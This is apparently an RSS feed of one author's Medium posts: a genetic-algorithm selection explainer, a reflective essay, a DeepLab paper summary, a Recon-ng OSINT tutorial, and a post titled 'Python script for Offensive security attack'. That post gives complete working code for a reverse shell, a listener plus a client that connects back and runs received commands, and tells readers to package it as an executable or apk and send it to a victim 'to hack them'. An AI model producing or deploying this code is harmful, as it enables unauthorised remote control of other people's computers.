<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shashwat Saket on Medium]]></title>
        <description><![CDATA[Stories by Shashwat Saket on Medium]]></description>
        <link>https://medium.com/@shashwat-saket46?source=rss-4577f4da371------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*9MFQJEcrSI8lJLBp</url>
            <title>Stories by Shashwat Saket on Medium</title>
            <link>https://medium.com/@shashwat-saket46?source=rss-4577f4da371------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 17:53:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shashwat-saket46/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proportionate Selection — An overview of the Roulette wheel]]></title>
            <link>https://medium.com/codex/proportionate-selection-an-overview-of-the-roulette-wheel-6f08a5a1f3b7?source=rss-4577f4da371------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f08a5a1f3b7</guid>
            <category><![CDATA[data-visualization]]></category>
            <category><![CDATA[deep-learning]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[data-science]]></category>
            <dc:creator><![CDATA[Shashwat Saket]]></dc:creator>
            <pubDate>Mon, 30 Aug 2021 20:03:32 GMT</pubDate>
            <atom:updated>2021-09-02T13:32:07.568Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proportionate Selection — An overview of the Roulette wheel</h3><h3><strong>Introduction:</strong></h3><p>The performance of the evolutionary algorithm (EA) is crucial in nature-inspired computing, which is strongly determined by the operator function used in the respective algorithm. Here, we will discuss one of the proportionate selection algorithms, specifically speaking of the Roulette wheel-based selection. Before we move on to the further discussion of the Roulette wheel, it is on us to understand the proportionate selection. And we will be considering the above-mentioned selection strategy.</p><h3><strong>Impact of Parent Selection in Genetic Algorithm (GA):</strong></h3><p>When we want to select the parent in the genetic algorithm for taking part in the reproduction of offspring, we consider the fact the fittest parent undergoing the mutation and then following up. This approach is used in the parent selection. Basically, there are three types of parent selection techniques viz. proportionate selection, tournament selection, and random selection. Here, we are going to discuss one of the selection procedures namely the proportionate selection and with an example, we will understand an associative of proportionate selection which is Roulette wheel selection.</p><h3><strong>What is Proportionate Selection?</strong></h3><p>The probability of selecting a solution can be given by:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*9k0YzXWgDJn0oe_bgbRlHA.png" /><figcaption>. The Mathematical formula to determine the proportionate value for the selection</figcaption></figure><p>This function denotes the probability of the kth solution to be selected as the fittest solution where the function F(X) is the fitness function.</p><h3><strong>Roulette Wheel:</strong></h3><p>After evaluating the selection probability of each solution, it has been observed that each of the k solutions, which are the stakeholders in this function, belongs to a parent population. And based on the above data, we generate a roulette wheel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*Om8IgMwdkHEadiFlXe0wrw.png" /></figure><p>For the selection of the parent, we would rotate the above roulette wheel at random, and the portion that is being pointed by the arrow would be selected as the parent. Here, for example, in this figure, we can see that parent 3 has been selected with a probability of 0.23 of being selected as a parent. In this figure, we can also see that parent 1 holds the highest probability of being selected if an unbiased rotation is performed on this roulette wheel. Thus, we can see here that the unbiased rotation of wheel aftermaths in the biased selection probability of parent 1 as per this figure is concerned.</p><h3>Conclusion:</h3><p>Here, we saw a very significant selection process basically used in the genetic algorithm under the umbrella of Evolutionary algorithms used in Nature-Inspired Computing. This is a fast-growing dimensional aspect of computing that gives way to a lot of aspects on how computing can be implemented through the help of natural elements. And as we know from Darwin’s theory of the fittest survives more and those who adapts easily have a better chance. This is inspired from the nature and taken up in the field of computation automation and are being considered as a toolkit to solve the NP hard problems which can subsequently give rise to an another dimensional perspective to the field of computation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f08a5a1f3b7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codex/proportionate-selection-an-overview-of-the-roulette-wheel-6f08a5a1f3b7">Proportionate Selection — An overview of the Roulette wheel</a> was originally published in <a href="https://medium.com/codex">CodeX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hope of Breeze and Warmth — Never a Study]]></title>
            <link>https://medium.com/an-idea/hope-of-breeze-and-warmth-never-a-study-be564dddac2?source=rss-4577f4da371------2</link>
            <guid isPermaLink="false">https://medium.com/p/be564dddac2</guid>
            <category><![CDATA[hope]]></category>
            <category><![CDATA[life]]></category>
            <category><![CDATA[dreams]]></category>
            <category><![CDATA[happiness]]></category>
            <category><![CDATA[émotion]]></category>
            <dc:creator><![CDATA[Shashwat Saket]]></dc:creator>
            <pubDate>Mon, 10 May 2021 05:59:48 GMT</pubDate>
            <atom:updated>2021-05-10T12:56:43.487Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hope of Breeze and Warmth — Never a Study</h3><p>“Plaudits presented by disingenuous cognition stipulated me to hide my pathos. Still this world has many fitful erudition by virtue of which I can live withh notoriety.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*riL-7PlLR5qX3F2c" /><figcaption>Photo by <a href="https://unsplash.com/@sigmund?utm_source=medium&amp;utm_medium=referral">Sigmund</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>You might be wondering what the above quote signifies with such ostentatious words. So let me tell you all that this is what my life has become. Everything I am forced to do has a meaning and I usually have to covert my intutions until someone comes who wants to decipher those idiosyncrasies. As the image represented here, life is just hidden behind the layers of icy secrets. So it is upto us if we want to remove layer by layer to visit the warmth. It is always fearful to look towards the opportunites thrown upon you. It rather ratifies your emotions and plays a card of insane sanity through your spine. But in the chilled breeze of winter and snowfall, most of us find our happiness as shown in melodrama movies scattered around there on Netflix. A cup of coffee and you live the life of your own immaturity asking for some warmth in your life.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R-PmaMEBqDHyVxde" /><figcaption>Photo by <a href="https://unsplash.com/@j_wozy?utm_source=medium&amp;utm_medium=referral">Jordan Wozniak</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Then contrast to the above image, we can see sunshine which is often percepted as the ray of hope. The enlightened rays of belief which depicts smoothness in your life. And then all of sudden, the ray getting harder. everywhere there is sweats and sun burns. Thirst all around with every eyes asking for some rest from these emotions. But as you were asking for these rays, you are glad to have them at your premises. Then onto peer pressure, you might think that the previous condition was better for you and you are asking for that cold once again and hoping that the nature is all against you and your dreams.</p><p>Summary:</p><p>Whenever you turn your mindset towards others perspective and try to copy their intuitions, you would be bound to face the misery and you are only one to blame. The cycle of warmth and breeze forms even in your life. It is always on you to pecept those culture beneath your livelihood for peace. You are never as capable of controlling the environment. To adapt and run with the flow of nature is always an aligned idea.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be564dddac2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/an-idea/hope-of-breeze-and-warmth-never-a-study-be564dddac2">Hope of Breeze and Warmth — Never a Study</a> was originally published in <a href="https://medium.com/an-idea">An Idea (by Ingenious Piece)</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python script for Offensive security attack]]></title>
            <link>https://infosecwriteups.com/python-script-for-offensive-security-attack-627b06b00463?source=rss-4577f4da371------2</link>
            <guid isPermaLink="false">https://medium.com/p/627b06b00463</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Shashwat Saket]]></dc:creator>
            <pubDate>Thu, 06 May 2021 17:30:22 GMT</pubDate>
            <atom:updated>2021-05-20T13:59:59.295Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello friends, here i am going to discuss about a python script used for attacking windows 7 and before with security similar to that.</p><p>First of of all you will have to create a script for your device with your IP address as the host device. For the same, you will be importing the socket and subprocess. Along with that you will be creating a function named as connect or of any of your choice. And create a subprocess shell reference to your device.</p><p>import socket<br>def connect():<br> s=socket.socket()<br> s.bind((“IP Address”,PORT))#possible port is 8080 as it works on HTML.<br> s.listen(1)<br> conn,addr=s.accept()<br> print(“+ we got a connectin from “, addr)<br> while True:<br> command = input(“Shell&gt; “)<br> if ‘exit’ in command:<br> conn.send(‘exit’.encode())<br> conn.close()<br> break<br> else:<br> conn.send(command.encode())<br> print(conn.recv(1024).decode())<br>def main():<br> connect()<br>main()</p><p>Now since we all have the perfect connect function, we will have to write a script to be sent to your client device or I would say the device you are trying to capture the instance of. For the same you will be putting the code against your client to connect with your device.</p><p>“””<br>Created on Thu Apr 22 12:03:04 2021</p><p><a href="http://twitter.com/author">@author</a>: shash<br>“””</p><p>import socket<br>import subprocess<br>def connect():<br> s=socket.socket()<br> s.connect((‘Host IP’,PORT))<br> while True:<br> command=s.recv(1024)<br> if ‘exit’ in command.decode():<br> s.close()<br> break<br> else:<br> CMD=subprocess.Popen(command.decode(),shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)<br> s.send(CMD.stdout.read())<br> s.send(CMD.stderr.read())<br>def main():<br> connect()<br> <br>main()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JEZ8hVQVvuBiWHfeQdNqkg.png" /></figure><p>You may create this script into executable file or any of file choice like apk. And then send this to your client to capture their shell. Or in simpler words, to hack them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=627b06b00463" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/python-script-for-offensive-security-attack-627b06b00463">Python script for Offensive security attack</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DeepLab: Semantic Image Segmentation with Deep Convolutional Nets, Atrous Convolution, and Fully…]]></title>
            <link>https://shashwat-saket46.medium.com/deeplab-semantic-image-segmentation-with-deep-convolutional-nets-atrous-convolution-and-fully-f0f416913974?source=rss-4577f4da371------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0f416913974</guid>
            <dc:creator><![CDATA[Shashwat Saket]]></dc:creator>
            <pubDate>Sat, 26 Dec 2020 14:43:51 GMT</pubDate>
            <atom:updated>2020-12-26T14:43:51.100Z</atom:updated>
            <content:encoded><![CDATA[<h3>DeepLab: Semantic Image Segmentation with Deep Convolutional Nets, Atrous Convolution, and Fully Connected CRFs</h3><p>Introduction: This articles contains my views on the paper published by By : Liang-Chieh Chen, George Papandreou, Senior Member, IEEE, Iasonas Kokkinos, Member, IEEE, Kevin Murphy, and Alan L. Yuille, Fellow, IEEE.</p><p>Understanding some terms:</p><p>Semantic Segmentation: Semantic segmentation: Task of labelling pixels in an image by their object classes. It play a significant role in computer vision and pattern recognition systems. Uses is autonomous driving, live videos etc. Image classification, object detection, image classification tasks, scene understanding, scene parsing, shape and size detection.</p><h3>Atrous Convolution:</h3><p>It deals with upsampling in the filters which is also known as dialated convolution. It is commonly used in wavelet transform and right now it is applied in convolutions for deep learning. The term “<strong>Atrous</strong>” indeed comes from French “<strong>à trous</strong>” meaning hole. Thus, it is also called “<strong>algorithme à trous</strong>” and “<strong>hole algorithm</strong>”.Used in Dense fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*bsAFlMhK9Z--mgeFobAq0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sjgoyr2-25_9GZTv4qM8og.png" /><figcaption>Atrous Convolution</figcaption></figure><p><strong>Benefits of Atrous Convolution</strong></p><p>•Atrous convolution allows us to enlarge the field of view of filters to incorporate larger context.</p><p>•Controls the resolution at which the feature responses are computed in Deep Learning.</p><ul><li>Finds the best trade-off between accurate localization and content assimilation.</li></ul><p>When r=1 standard convolution is used and when r&gt;1, then the atrous convolution is taken into the account.</p><h3><strong><em>Atrous Spatial Pyramid Pooling (ASPP)</em></strong></h3><p>•ASPP is used to segment objects at multiple stages. It probes incoming convolutional feature layer with filters at multiple sampling rates.</p><p>•It also captures the image context and object at multiple scales which thereby improves the accuracy of the image.</p><ul><li>In ASPP, <strong>parallel atrous convolution with different rate </strong>applied in the input feature map, and fuse together.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*yux_GTh4n-LrOsR70DN2lg.png" /><figcaption>In the following image, we can see the pyramidal like structure with multiple altered rates used in ASPP. This type of filters are used in pooling and the image accuracy can be determined.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsIX32o8tumCTAPfPT4D-Q.png" /><figcaption>CRF models uses bilateral filters in first kernels and gaussian filters in the second kernel.</figcaption></figure><h3>Chanllenges in the paper:</h3><h3>First Challenge:</h3><p>Repeated combination of max-pooling and down sampling (‘striding’) in consecutive layers.</p><p>Sol:</p><p>Remove down sampling operators from the last few max pooling layers of DCNNs and instead up sample the filters feature maps in higher sampling rates. It is done using atrous convolutional methods which helps in dense prediction tasks.</p><h3>Second Challenge</h3><p>Caused by existence of objects at multiple scales.</p><p>Solution:</p><p>Present to the DCNN rescaled version of the same image and aggregate the feature or score maps.</p><p>This is taken into the account by the use of Atrous Spacial Pyramid Pooling by segmenting the objects at multiple scales.</p><h3>Third Challenge</h3><p>Reduced localization accuracy</p><p>Sol:</p><p>Object centric classifier requires invariance to special transformation which limits the spacial accuracy of DCNN.</p><p>This is usually taken under by using Conditional Random Fields by combining responses at final DCNN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*4_SyER9yJX2bFrd1pmpuXg.png" /><figcaption>Atrous convolution along with fully connected CRFs in the presence of Bi-linear interpolation dictates a very accurate and clear image as we can see here.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*7C_SM0Ax80mY-96XnQFTYg.png" /></figure><h3>Result:</h3><p>Finally using these algorithms the accuracy got upto 77.65 which was around 68% in ResNet-101.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0f416913974" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reckon-ng : Backbone of Osint Analysis]]></title>
            <link>https://infosecwriteups.com/reckon-ng-backbone-of-osint-analysis-6cb2a8c06839?source=rss-4577f4da371------2</link>
            <guid isPermaLink="false">https://medium.com/p/6cb2a8c06839</guid>
            <category><![CDATA[reckoning]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Shashwat Saket]]></dc:creator>
            <pubDate>Sun, 17 May 2020 20:04:26 GMT</pubDate>
            <atom:updated>2021-05-08T19:05:17.493Z</atom:updated>
            <content:encoded><![CDATA[<h3>Reckon-ng : Backbone of Osint Analysis</h3><h3>WHAT IS OSINT AND WHY IS IT IMPORTANT?</h3><p>Every Pentester targets the information of the client he wants to attack. Thus OSINT Analysis came to effect. <strong>OSINT </strong>provides the idea of the enemy. In other words, it serves as <em>Open Source Intelligence</em>, which eventually means the method to obtain free information. It can work as your free detective on the internet. As we all know that most of the data is stored on the internet along with some cloud or somewhere on the deep web, information gathering tools can work in respect to obtain all those information just within a minute which can be strenuous to find through certain search engines.</p><h3>WHY RECKON-NG PROVIDES A BETTER CHOICE?</h3><p><strong>Reckon-ng</strong> is an <strong>OSINT</strong> tool that can be considered an effective way to gather information is a Web Reconnaissance framework written in Python. All those who are familiar with the <em>Metasploit Framework</em> can feel the similarity of the environment used in this tool. As it is supported through Python, any new programmer may add modules to the environment. Modules are the selective analysis outlet that can perform various tasks such as standardizing output, interacting with the database, making web requests, and managing API keys.</p><h3>Installing the framework</h3><p>It can easily be opened from the Information Gathering Tools if you are using Parrot/Kali linux distro. If it is not given in your distro or you are using Termux, you may download using the following command:-</p><p><strong><em>git clone </em></strong><a href="https://github.com/lanmaster53/reckon-ng.git"><strong><em>https://github.com/lanmaster53/reckon-ng.git</em></strong></a></p><p><strong><em>cd reckon-ng</em></strong></p><p><strong><em>pip install -r REQUIREMENTS ./reckon-ng</em></strong></p><p>After you have been finished, you screen should be looking like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*H-s8Six3T8Bcgwn8.png" /></figure><h3>Setting Up the Framework</h3><p>You may have to install modules if there are no modules installed previously which can be done using the following commands:</p><p><strong><em>marketplace install all</em></strong></p><p>Basically, reckon-ng has five different sections of modules:</p><ol><li>Discovery</li><li>Exploitation</li><li>Import</li><li>Recon</li><li>Reporting</li></ol><h3>USES</h3><p>Once everything is set up, it is time to get familiar with the interface and create a workspace within reckon-ng. It is a process similar to making a folder in your direction so that you can put up similar work into a categorised manner. To create a workspace, use <strong><em>workspaces create &lt;workspace-name&gt;</em></strong> . Here I have created the work space named as alma by using workspaces create alma .</p><p>To view all existing workspaces, use workspaces list and you may use <strong><em>workspaces select &lt;workspace-name&gt;</em></strong> to select the workspace you want to work on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*aR1zmI9plTWLWNVO.png" /></figure><p>Now since our framework has been properly set up, we are now liberated to use the modules in order to gather the respective information. Thus we can search the modules using <strong><em>modules search</em></strong> command :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*AGwp2RHbWKU1VS9f.png" /></figure><p>In order to use any of these modules, we will have to load the modules. Let’s say we want to check the whois lookup.</p><p><strong><em>[recon-ng][alma]&gt;modules search whois</em></strong>. where whois is the keyword for the search. And then select the modules using the <strong><em>modules load whois_pocs </em></strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*V_x_2r6tn0-cEARh.png" /></figure><p>Now using the info command we can percept the situation for the lookup.WE can see the SOURCE to be set as default. We can change the default for the lookup using the command <strong><em>options set SOURCE &lt;domain&gt;</em></strong> ; Here I am using the domain as example.com thus, I will use <strong><em>options set SOURCE example.com</em></strong>. And at last, use the run command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*bwleUK884Wh5aZxy.png" /></figure><p>After running the module, the framework will initiate to search for all the related contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*9b8LjRA_7gLx5Pzc.png" /></figure><p>After completing the process, all the entities would be saved and by show command, we can use it to <strong><em>show &lt;companies|contacts|credentials|domains|hosts|leaks|locations|netblocks|ports|profiles|pushpins|repositories|vulnerabilities&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*SFLbIdYIf8eSG4oV.png" /></figure><h3>CONCLUSION</h3><p>Such results might be obtained through this method. In a very similar way, many other modules can be used which can be really helpful in order to retrieve significant information from the client. As we can see that there are different modules for different functions. One of the important functions is credential harvesting. But there are many researchers who are still contributing to this project and many authors are expanding the features according to them. The ease with which the tool can be used and the structural modules make this framework the backbone of OSINT Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cb2a8c06839" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/reckon-ng-backbone-of-osint-analysis-6cb2a8c06839">Reckon-ng : Backbone of Osint Analysis</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>